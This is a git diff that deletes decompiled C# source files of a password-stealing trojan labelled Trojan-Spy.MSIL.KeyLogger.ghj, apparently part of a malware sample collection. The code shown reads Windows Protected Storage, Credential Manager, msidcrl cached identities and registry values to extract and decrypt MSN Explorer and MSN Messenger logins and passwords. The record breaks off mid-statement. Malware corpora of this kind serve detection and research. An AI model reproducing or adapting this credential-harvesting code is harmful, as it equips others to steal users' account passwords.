a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CItem.cs +++ /dev/null @@ -1,78 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CItem -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Roy.PStoreLib; -using System; -using System.Runtime.InteropServices; -using System.Text; - -namespace Roy -{ - internal class CItem : CUtils - { - private IPStore m_IPStore; - private Guid m_Guid; - private Guid m_SubGuid; - private string m_Name; - private PST_KEY m_KeyType; - - public CItem() - { - this.m_Guid = new Guid(); - this.m_SubGuid = new Guid(); - } - - private void FreeStruct(IntPtr ptr) => Marshal.FreeCoTaskMem(ptr); - - internal void Init( - IPStore PStore, - PST_KEY KeyType, - ref Guid guidType, - ref Guid guidSubType, - string szItemName) - { - this.m_IPStore = PStore; - this.m_Guid = guidType; - this.m_SubGuid = guidSubType; - this.m_Name = szItemName; - this.m_KeyType = KeyType; - } - - public void Delete() => this.m_IPStore.DeleteItem(this.m_KeyType, ref this.m_Guid, ref this.m_SubGuid, this.m_Name, 0, 0); - - public string Name => this.m_Name; - - public byte[] ReadBinary() - { - byte[] destination = (byte[]) null; - int pcbData; - IntPtr ppbData; - this.m_IPStore.ReadItem(this.m_KeyType, ref this.m_Guid, ref this.m_SubGuid, this.m_Name, ref pcbData, ref ppbData, 0, 0); - if (ppbData != IntPtr.Zero) - { - destination = new byte[checked (pcbData - 1 + 1)]; - Marshal.Copy(ppbData, destination, 0, pcbData); - this.FreeStruct(ppbData); - } - return destination; - } - - public string ReadBinaryString() - { - byte[] numArray = this.ReadBinary(); - StringBuilder stringBuilder = new StringBuilder(); - int num = checked (numArray.Length - 1); - int index = 0; - while (index <= num) - { - stringBuilder.Append(Conversion.Hex(numArray[index]) + " "); - checked { ++index; } - } - return stringBuilder.ToString(); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CItems.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CItems.cs deleted file mode 100644 index 74e4203b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CItems.cs +++ /dev/null @@ -1,234 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CItems -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Roy.PStoreLib; -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace Roy -{ - internal class CItems : CUtils, IEnumerable, IEnumerator - { - private IPStore m_IPStore; - private PST_KEY m_KeyType; - private Guid m_TypeGuid; - private Guid m_SubTypeGuid; - private IEnumPStoreItems m_IEnumItem; - private CItem m_Current; - - internal CItems(IPStore PStore, PST_KEY KeyType, ref Guid guidType, ref Guid guidSubType) - { - this.m_TypeGuid = new Guid(); - this.m_SubTypeGuid = new Guid(); - this.m_IPStore = PStore; - this.m_KeyType = KeyType; - this.m_TypeGuid = guidType; - this.m_SubTypeGuid = guidSubType; - this.m_IEnumItem = PStore.EnumItems(KeyType, ref guidType, ref guidSubType, 0); - } - - public CItem get_Item(int Index) - { - int num1; - CItem citem1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - this.m_IEnumItem.Reset(); - this.m_IEnumItem.Skip(Index); - int rgelt; - int pceltFetched; - this.m_IEnumItem.Next(1, ref rgelt, ref pceltFetched); - citem1 = (CItem) null; - if (rgelt != 0) - { - citem1 = new CItem(); - CItem citem2 = citem1; - IPStore ipStore = this.m_IPStore; - int keyType = (int) this.m_KeyType; - ref Guid local1 = ref this.m_TypeGuid; - ref Guid local2 = ref this.m_SubTypeGuid; - IntPtr ptr = new IntPtr(rgelt); - string szItemName = this.CopyString(ptr); - citem2.Init(ipStore, (PST_KEY) keyType, ref local1, ref local2, szItemName); - ptr = new IntPtr(rgelt); - Marshal.FreeCoTaskMem(ptr); - goto label_7; - } - else - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - goto label_7; - } - } - catch (Exception ex) when ( - { - // ISSUE: unable to correctly present filter - int num3; - if (ex is Exception & num1 != 0 & num3 == 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - CItem citem3 = citem1; - if (num2 == 0) - return citem3; - ProjectData.ClearProjectError(); - return citem3; - } - - public int Count - { - get - { - int num1; - int num2; - int num3; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - this.m_IEnumItem.Reset(); - while (true) - { - this.m_IEnumItem.Skip(1); - checked { ++num2; } - } -label_2: - num3 = -1; - switch (num1) - { - case 2: - goto label_7; - } - } - catch (Exception ex) when ( - { - int num4; - if (ex is Exception & num1 != 0 & num4 == 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int count = num2; - if (num3 == 0) - return count; - ProjectData.ClearProjectError(); - return count; - } - } - - public void Delete(string szItemName) => this.m_IPStore.DeleteItem(this.m_KeyType, ref this.m_TypeGuid, ref this.m_SubTypeGuid, szItemName, 0, 0); - - public void Add(Guid guidType, Guid guidSubType, string szItemName) - { - } - - public byte[] ReadItem(Guid guidItemType, Guid guidItemSubType, string szItemName) - { - int num1; - byte[] numArray1; - int num2; - try - { - byte[] destination = (byte[]) null; - ProjectData.ClearProjectError(); - num1 = 2; - int pcbData; - IntPtr ppbData; - this.m_IPStore.ReadItem(this.m_KeyType, ref guidItemType, ref guidItemSubType, szItemName, ref pcbData, ref ppbData, 0, 0); - if (ppbData != IntPtr.Zero) - { - destination = new byte[checked (pcbData - 1 + 1)]; - Marshal.Copy(ppbData, destination, 0, pcbData); - Marshal.FreeCoTaskMem(ppbData); - } - numArray1 = destination; - goto label_9; -label_4: - num2 = -1; - switch (num1) - { - case 2: - int num3 = (int) Interaction.MsgBox((object) Information.Err().Description); - goto label_9; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_4; - } - throw ProjectData.CreateProjectError(-2146828237); -label_9: - byte[] numArray2 = numArray1; - if (num2 == 0) - return numArray2; - ProjectData.ClearProjectError(); - return numArray2; - } - - public IEnumerator GetEnumerator() - { - this.Reset(); - return (IEnumerator) this; - } - - public void Reset() => this.m_IEnumItem.Reset(); - - public object Current => (object) this.m_Current; - - public bool MoveNext() - { - int rgelt; - int pceltFetched; - if (this.m_IEnumItem.Next(1, ref rgelt, ref pceltFetched) != 0) - return false; - if (rgelt != 0) - { - this.m_Current = new CItem(); - CItem current = this.m_Current; - IPStore ipStore = this.m_IPStore; - int keyType = (int) this.m_KeyType; - ref Guid local1 = ref this.m_TypeGuid; - ref Guid local2 = ref this.m_SubTypeGuid; - IntPtr ptr = new IntPtr(rgelt); - string szItemName = this.CopyString(ptr); - current.Init(ipStore, (PST_KEY) keyType, ref local1, ref local2, szItemName); - ptr = new IntPtr(rgelt); - Marshal.FreeCoTaskMem(ptr); - } - return true; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNExplorerPassword.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNExplorerPassword.cs deleted file mode 100644 index c2d19d5b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNExplorerPassword.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CMSNExplorerPassword -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -namespace Roy -{ - internal class CMSNExplorerPassword - { - private string m_szEmail; - private string m_szPassword; - - internal CMSNExplorerPassword(string szEmail, string szPassword) - { - this.m_szPassword = szPassword; - this.m_szEmail = szEmail; - } - - public string Password => this.m_szPassword; - - public string Email => this.m_szEmail; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNExplorerPasswords.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNExplorerPasswords.cs deleted file mode 100644 index 3cf08261..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNExplorerPasswords.cs +++ /dev/null @@ -1,98 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CMSNExplorerPasswords -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Roy.PStoreLib; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Runtime.InteropServices; - -namespace Roy -{ - internal class CMSNExplorerPasswords : CUtils, IEnumerable - { - private readonly Guid guidMSN; - private readonly Guid guidSubMSN; - private CProtectStore m_PStore; - private PST_KEY m_KeyType; - private List m_MSNPass; - - public CMSNExplorerPasswords() - { - this.guidMSN = new Guid("{B9819C52-1E12-4BBD-91E7-AF9AFEA5B02D}"); - this.guidSubMSN = new Guid("{87F5AAB7-CA62-41C5-8896-27714D7B7E73}"); - this.m_PStore = new CProtectStore(); - this.m_MSNPass = new List(); - } - - public void Refresh() - { - CItem citem = this.m_PStore.get_Items(this.guidMSN, this.guidSubMSN).get_Item(0); - this.m_MSNPass.Clear(); - if (citem == null) - return; - GCHandle gcHandle = GCHandle.Alloc((object) citem.ReadBinary(), GCHandleType.Pinned); - CMSNExplorerPasswords.MSNPasswordHeader msnPasswordHeader1; - object structure = Marshal.PtrToStructure(gcHandle.AddrOfPinnedObject(), msnPasswordHeader1.GetType()); - CMSNExplorerPasswords.MSNPasswordHeader msnPasswordHeader2; - CMSNExplorerPasswords.MSNPasswordHeader Expression = structure != null ? (CMSNExplorerPasswords.MSNPasswordHeader) structure : msnPasswordHeader2; - if (Expression.cAccounts == 0) - return; - IntPtr ptr = new IntPtr(checked (gcHandle.AddrOfPinnedObject().ToInt32() + Strings.Len((object) Expression))); - short num1 = checked ((short) (Expression.cAccounts - 1)); - short num2 = 0; - while ((int) num2 <= (int) num1) - { - int num3 = Marshal.ReadInt32(ptr); - ptr = new IntPtr(checked (ptr.ToInt32() + 4)); - string szEmail = this.CopyString(ptr); - ptr = new IntPtr(checked (ptr.ToInt32() + num3)); - int num4 = Marshal.ReadInt32(ptr); - ptr = new IntPtr(checked (ptr.ToInt32() + 4)); - string szPassword = this.CopyString(ptr); - this.m_MSNPass.Add(new CMSNExplorerPassword(szEmail, szPassword)); - ptr = new IntPtr(checked (ptr.ToInt32() + num4 + 24)); - checked { ++num2; } - } - gcHandle.Free(); - } - - public PST_KEY KeyType - { - get => this.m_KeyType; - set - { - this.m_KeyType = value; - this.m_PStore.KeyType = value; - } - } - - public IEnumerator GetEnumerator() - { - this.Refresh(); - return (IEnumerator) this.m_MSNPass.GetEnumerator(); - } - - IEnumerator IEnumerable.GetEnumerator1() - { - this.Refresh(); - return (IEnumerator) this.m_MSNPass.GetEnumerator(); - } - - private struct MSNPasswordHeader - { - public int dwUnkType; - public int cAccounts; - } - - private struct MSNPass - { - public string strEmail; - public string strPass; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNMessengerPassword.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNMessengerPassword.cs deleted file mode 100644 index 26bc6fa0..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNMessengerPassword.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CMSNMessengerPassword -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -namespace Roy -{ - internal class CMSNMessengerPassword - { - private string m_szLogin; - private string m_szPassword; - private string m_szTargetName; - - internal CMSNMessengerPassword( - ref string szLogin, - ref string szPassword, - ref string szTargetName) - { - this.m_szPassword = szPassword; - this.m_szLogin = szLogin; - this.m_szTargetName = szTargetName; - } - - public string Password => this.m_szPassword; - - public string Login => this.m_szLogin; - - public string TargetName => this.m_szTargetName; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNMessengerPasswords.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNMessengerPasswords.cs deleted file mode 100644 index d4c5c08c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNMessengerPasswords.cs +++ /dev/null @@ -1,830 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CMSNMessengerPasswords -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -namespace Roy -{ - internal class CMSNMessengerPasswords : CUtils, IEnumerable - { - private const int ERROR_SUCCESS = 0; - private const int HKEY_CURRENT_USER = -2147483647; - private const int READ_CONTROL = 131072; - private const int STANDARD_RIGHTS_READ = 131072; - private const int KEY_QUERY_VALUE = 1; - private const int KEY_ENUMERATE_SUB_KEYS = 8; - private const int KEY_NOTIFY = 16; - private const int SYNCHRONIZE = 1048576; - private const int STANDARD_RIGHTS_WRITE = 131072; - private const int KEY_SET_VALUE = 2; - private const int KEY_CREATE_SUB_KEY = 4; - private const int KEY_READ = 131097; - private const int KEY_WRITE = 131078; - private const int CSIDL_PROGRAM_FILES = 38; - private List m_MSNPass; - [SpecialName] - private byte[] \u0024STATIC\u0024Base64Dec\u0024201E10E\u0024Enc; - - public CMSNMessengerPasswords() => this.m_MSNPass = new List(); - - [DllImport("kernel32.dll", EntryPoint = "lstrlenA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int lstrlen([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString); - - [DllImport("advapi32.dll", EntryPoint = "CredEnumerateW", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CredEnumerate( - [MarshalAs(UnmanagedType.LPWStr)] string lpszFilter, - int lFlags, - ref int pCount, - ref IntPtr lppCredentials); - - [DllImport("advapi32.dll", EntryPoint = "CredEnumerateW", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CredEnumerate( - IntPtr lpszFilter, - int lFlags, - ref int pCount, - ref IntPtr lppCredentials); - - [DllImport("advapi32.dll", EntryPoint = "CredDeleteW", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CredDelete([MarshalAs(UnmanagedType.LPWStr)] string lpwstrTargetName, int dwType, int dwFlags); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CredFree(IntPtr pBuffer); - - [DllImport("crypt32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CryptUnprotectData( - ref CMSNMessengerPasswords.DATA_BLOB pDataIn, - int ppszDataDescr, - ref CMSNMessengerPasswords.DATA_BLOB pOptionalEntropy, - int pvReserved, - int pPromptStruct, - int dwFlags, - ref CMSNMessengerPasswords.DATA_BLOB pDataOut); - - [DllImport("crypt32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CryptUnprotectData( - ref CMSNMessengerPasswords.DATA_BLOB pDataIn, - int ppszDataDescr, - int pOptionalEntropy, - int pvReserved, - int pPromptStruct, - int dwFlags, - ref CMSNMessengerPasswords.DATA_BLOB pDataOut); - - [DllImport("advapi32.dll", EntryPoint = "RegOpenKeyExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int RegOpenKeyEx( - int hKey, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpSubKey, - int ulOptions, - int samDesired, - ref int phkResult); - - [DllImport("advapi32.dll", EntryPoint = "RegQueryValueExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int RegQueryValueEx( - int hKey, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpValueName, - int lpReserved, - ref int lpType, - [MarshalAs(UnmanagedType.LPWStr)] string lpData, - ref int lpcbData); - - [DllImport("advapi32.dll", EntryPoint = "RegQueryValueExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int RegQueryValueEx( - int hKey, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpValueName, - int lpReserved, - ref int lpType, - IntPtr lpData, - ref int lpcbData); - - [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int RegEnumKeyEx( - int hKey, - int dwIndex, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpName, - ref int lpcbName, - int lpReserved, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClass, - int lpcbClass, - ref CMSNMessengerPasswords.FILETIME lpftLastWriteTime); - - [DllImport("advapi32.dll", EntryPoint = "RegDeleteValueA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int RegDeleteValue(int hKey, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpValueName); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int LocalFree(int hMem); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int RegCloseKey(int hKey); - - [DllImport("shell32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SHGetSpecialFolderLocation(int hwndOwner, int nFolder, ref int pidl); - - [DllImport("shell32.dll", EntryPoint = "SHGetPathFromIDListA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SHGetPathFromIDList(int pidl, [MarshalAs(UnmanagedType.VBByRefStr)] ref string pszPath); - - [DllImport("msidcrl.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int Initialize(ref Guid guid, int IDCRLVersion, int dwFlags); - - [DllImport("msidcrl.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumIdentitiesWithCachedCredentials( - [MarshalAs(UnmanagedType.LPWStr)] string wszCachedCredType, - ref int phEnumHandle); - - [DllImport("msidcrl.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int NextIdentity(int hEnumHandle, ref IntPtr lpwszMemberName); - - [DllImport("msidcrl.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int PassportFreeMemory(IntPtr ptr); - - [DllImport("msidcrl.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CloseEnumIdentitiesHandle(int hEnumHandle); - - [DllImport("msidcrl.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CreateIdentityHandle( - [MarshalAs(UnmanagedType.LPWStr)] string wszMemberName, - int dwFlags, - ref int lphExternalIdentity); - - [DllImport("msidcrl.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CreateIdentityHandle( - IntPtr wszMemberName, - int dwFlags, - ref int lphExternalIdentity); - - [DllImport("msidcrl.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int HasPersistedCredential( - int hExternalIdentity, - [MarshalAs(UnmanagedType.LPWStr)] string wszCredType, - ref int lpbPersisted); - - [DllImport("msidcrl.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int RemovePersistedCredential(int hExternalIdentity, [MarshalAs(UnmanagedType.LPWStr)] string wszCredType); - - [DllImport("msidcrl.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetIdentityPropertyByName( - int hExternalIdentity, - [MarshalAs(UnmanagedType.LPWStr)] string wszPropertyName, - ref int lpszValue); - - [DllImport("msidcrl.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int BuildAuthTokenRequest( - int hExternalIdentity, - [MarshalAs(UnmanagedType.LPWStr)] string wszPolicy, - int dwFlags, - ref IntPtr lpReturn); - - [DllImport("msidcrl.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CloseIdentityHandle(int hExternalIdentity); - - [DllImport("msidcrl.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int Uninitialize(); - - [DllImport("kernel32.dll", EntryPoint = "LoadLibraryA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int LoadLibrary([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpLibFileName); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FreeLibrary(int hLibModule); - - private string getProgramFilesFolderPath() - { - int pidl; - string programFilesFolderPath; - if (CMSNMessengerPasswords.SHGetSpecialFolderLocation(0, 38, ref pidl) == 0) - { - string pszPath = new string(char.MinValue, 512); - CMSNMessengerPasswords.SHGetPathFromIDList(pidl, ref pszPath); - programFilesFolderPath = Strings.Left(pszPath, checked (Strings.InStr(pszPath, "\0") - 1)); - } - else - programFilesFolderPath = (string) null; - CMSNMessengerPasswords.LocalFree(pidl); - return programFilesFolderPath; - } - - private void getMSN75Passwords() - { - string lpLibFileName = this.getProgramFilesFolderPath() + "\\MSN Messenger\\msidcrl.dll"; - if (Operators.CompareString(FileSystem.Dir(lpLibFileName), (string) null, false) == 0) - return; - int hLibModule = CMSNMessengerPasswords.LoadLibrary(ref lpLibFileName); - Guid guid = new Guid(1896408858, (short) -26330, (short) 20427, new byte[8] - { - (byte) 188, - (byte) 201, - (byte) 154, - (byte) 157, - (byte) 63, - (byte) 50, - (byte) 228, - (byte) 35 - }); - CMSNMessengerPasswords.Initialize(ref guid, 1, 15); - int phEnumHandle; - IntPtr lpwszMemberName; - int lphExternalIdentity; - int lpbPersisted; - int num1; - if (CMSNMessengerPasswords.EnumIdentitiesWithCachedCredentials("ps:password", ref phEnumHandle) == 0) - { - for (int index = CMSNMessengerPasswords.NextIdentity(phEnumHandle, ref lpwszMemberName); index == 0; index = CMSNMessengerPasswords.NextIdentity(phEnumHandle, ref lpwszMemberName)) - { - if (CMSNMessengerPasswords.CreateIdentityHandle(lpwszMemberName, (int) byte.MaxValue, ref lphExternalIdentity) == 0 & lpwszMemberName != IntPtr.Zero) - { - if (CMSNMessengerPasswords.HasPersistedCredential(lphExternalIdentity, "ps:password", ref lpbPersisted) == 0 & lpbPersisted != 0) - { - IntPtr lpReturn; - if (CMSNMessengerPasswords.BuildAuthTokenRequest(lphExternalIdentity, "ps:password", 0, ref lpReturn) == 0) - { - string str1 = this.CopyString(lpReturn); - int Start = checked (Strings.InStr(str1, "") + 15); - int num2 = Strings.InStr(str1, ""); - if (num2 > 0) - { - List msnPass = this.m_MSNPass; - string str2 = this.CopyString(lpwszMemberName); - ref string local1 = ref str2; - string str3 = Strings.Mid(str1, Start, checked (num2 - Start)); - ref string local2 = ref str3; - string str4 = "ps:" + this.CopyString(lpwszMemberName); - ref string local3 = ref str4; - CMSNMessengerPassword messengerPassword = new CMSNMessengerPassword(ref local1, ref local2, ref local3); - msnPass.Add(messengerPassword); - } - } - if (lpReturn != IntPtr.Zero) - CMSNMessengerPasswords.PassportFreeMemory(lpReturn); - } - num1 = CMSNMessengerPasswords.CloseIdentityHandle(lphExternalIdentity); - } - if (lpwszMemberName != IntPtr.Zero) - CMSNMessengerPasswords.PassportFreeMemory(lpwszMemberName); - } - } - CMSNMessengerPasswords.CloseEnumIdentitiesHandle(phEnumHandle); - if (CMSNMessengerPasswords.EnumIdentitiesWithCachedCredentials("ps:membernameonly", ref phEnumHandle) == 0) - { - for (int index = CMSNMessengerPasswords.NextIdentity(phEnumHandle, ref lpwszMemberName); index == 0; index = CMSNMessengerPasswords.NextIdentity(phEnumHandle, ref lpwszMemberName)) - { - if (CMSNMessengerPasswords.CreateIdentityHandle(lpwszMemberName, (int) byte.MaxValue, ref lphExternalIdentity) == 0 & lpwszMemberName != IntPtr.Zero) - { - if (CMSNMessengerPasswords.HasPersistedCredential(lphExternalIdentity, "ps:password", ref lpbPersisted) == 0 & lpbPersisted == 0) - { - List msnPass = this.m_MSNPass; - string str5 = this.CopyString(lpwszMemberName); - ref string local4 = ref str5; - string empty = string.Empty; - ref string local5 = ref empty; - string str6 = "ps:" + this.CopyString(lpwszMemberName); - ref string local6 = ref str6; - CMSNMessengerPassword messengerPassword = new CMSNMessengerPassword(ref local4, ref local5, ref local6); - msnPass.Add(messengerPassword); - } - num1 = CMSNMessengerPasswords.CloseIdentityHandle(lphExternalIdentity); - } - if (lpwszMemberName != IntPtr.Zero) - CMSNMessengerPasswords.PassportFreeMemory(lpwszMemberName); - } - } - CMSNMessengerPasswords.CloseEnumIdentitiesHandle(phEnumHandle); - CMSNMessengerPasswords.Uninitialize(); - CMSNMessengerPasswords.FreeLibrary(hLibModule); - } - - public void Refresh() - { - this.m_MSNPass.Clear(); - string lpSubKey1 = "Software\\Microsoft\\MessengerService"; - int phkResult; - int num1 = CMSNMessengerPasswords.RegOpenKeyEx(-2147483647, ref lpSubKey1, 0, 131097, ref phkResult); - int cb1 = 0; - int hKey1 = phkResult; - string str1 = "PasswordMSN Messenger Service"; - ref string local1 = ref str1; - int num2; - ref int local2 = ref num2; - IntPtr zero1 = IntPtr.Zero; - ref int local3 = ref cb1; - num1 = CMSNMessengerPasswords.RegQueryValueEx(hKey1, ref local1, 0, ref local2, zero1, ref local3); - int cb2; - string lpSubKey2; - if (cb1 > 0) - { - IntPtr num3 = Marshal.AllocHGlobal(cb1); - int hKey2 = phkResult; - string str2 = "PasswordMSN Messenger Service"; - ref string local4 = ref str2; - ref int local5 = ref num2; - IntPtr lpData1 = num3; - ref int local6 = ref cb1; - num1 = CMSNMessengerPasswords.RegQueryValueEx(hKey2, ref local4, 0, ref local5, lpData1, ref local6); - string stringAnsi1 = Marshal.PtrToStringAnsi(num3); - Marshal.FreeHGlobal(num3); - string Base64String = Strings.Mid(stringAnsi1, 1, checked (Strings.Len(stringAnsi1) - 1)); - string str3 = this.Base64Dec(ref Base64String); - cb2 = 0; - int hKey3 = phkResult; - string str4 = "UserMSN Messenger Service"; - ref string local7 = ref str4; - ref int local8 = ref num2; - IntPtr zero2 = IntPtr.Zero; - ref int local9 = ref cb2; - num1 = CMSNMessengerPasswords.RegQueryValueEx(hKey3, ref local7, 0, ref local8, zero2, ref local9); - IntPtr num4 = Marshal.AllocHGlobal(cb2); - int hKey4 = phkResult; - string str5 = "UserMSN Messenger Service"; - ref string local10 = ref str5; - ref int local11 = ref num2; - IntPtr lpData2 = num4; - ref int local12 = ref cb2; - num1 = 